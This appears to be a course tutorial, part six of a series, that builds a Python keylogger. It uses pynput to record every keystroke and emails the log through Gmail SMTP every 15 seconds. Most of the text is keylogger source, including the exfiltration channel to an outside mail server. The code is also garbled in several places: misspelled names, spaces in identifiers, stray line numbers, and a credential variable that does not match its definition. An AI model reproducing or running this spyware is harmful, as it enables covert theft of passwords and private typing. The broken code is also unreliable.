Part 6: Python Keylogger

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Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

NOTE: pynput is supported in the latest version of Kali Linux. You must update Kali.

```
sudo apt update
# You may need to run this a couple of times until there are no more updates
sudo apt dist_upgrade -y
```

Gmail Credentials

The final step is to add the ability to email the logs.

- 1. Create a Python file named: **gmail_credentials.py**
- 2. Use the email account and password you created in the **Email with Python** assignment.

```
#!/usr/bin/env python3
"""

Name: gmail_credentials.py
Author:
Created:
Purpose: Credentials to send email through Python using Gmail
"""

SMTP_SERVER = "smtp.gmail.com"
# Secure SMTP port
PORT = 587

LOGIN = "youremailaddress@gmail.com"
APP_PASSWORD = "yourapppassword"

EMAIL_SRC = "youremailaddress@gmail.com"
EMAIL_DST = "youremailaddress@gmail.com"
```

Send Mail

1. Create a Python file named **send_mail.py**

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```
#!/usr/bin/env python3
   Name: semd_mail.py
    Author:
    Created:
   Purpose: Send a email message
import smtplib
import ssl
import gmail_credentials as gc
                       ----- SEND EMAIL ---
def send_mail(message):
    """Send an email message"""
    # Set email server object
    server = smtplib.SMTP(gc.SMTP_SERVER, gc.PORT)
    # Don't show all communication with the server
    server.set_debuglevel(False)
    # Create a secure SSL context
    context = ssl.create default context()
    try:
       # Start an encrypted TLS session
       server.starttls(context=context)
       # Login to the mail server
       server.login(gc.LOGIN, gc.PASSWORD)
        server.sendmail(gc.EMAIL SRC, gc.EMAIL DST, message)
       print("Email message successfully sent.")
    except Exception as e:
       print(e)
    finally:
        # Ouit from server
        quit_results = server.quit()
        print(quit results)
```

Frog 6

- 1. Save frog_5.py as frog_6.py
- 2. Import the **send_mail** module.

```
#!/usr/bin/env python3
"""
Name: frog_6.py
Author:
Created:
Purpose: Class to capture keystrokes, email to user
"""
### Windows: pip install pynput
### Linux: sudo apt install python3-pynput
from pynput import keyboard
from threading import Thread
from time import sleep
from send_mail import send_mail
```

2. Add a self.interval variable to control how often the report is logged and sent.

```
class TheFrog:
         def __init__(self):
             # Log variable
             self.log = "Keylogger started"
20
             # How often the report is sent in seconds
21
             self.interval = 15
             # Flag to control the reporting thread
             self.running = True
             # Start reporting background process on a separate thread
             self.start_report()
             # Create a keyboard listener object
             # Listen for keyboard on_press event
             # When a key is pressed,
             # call process_key_press function
             keyboard_listener = keyboard.Listener(on_press=self.process_key_press)
             # Repeat the keyboard listener
             with keyboard_listener:
                 # Start keyboard listener on separate thread
                 keyboard listener.join()
```

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All files must be in the same folder. You can type anywhere on your computer. Each keystroke will be logged. The log will be emailed to you every 15 seconds for testing.

Linux

Change to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 frog_6.py

Assignment Submission

- 1. Attach all program files.
- 2. Attach a screenshot from Windows and Linux of your results.
- 3. Submit the assignment in BlackBoard.

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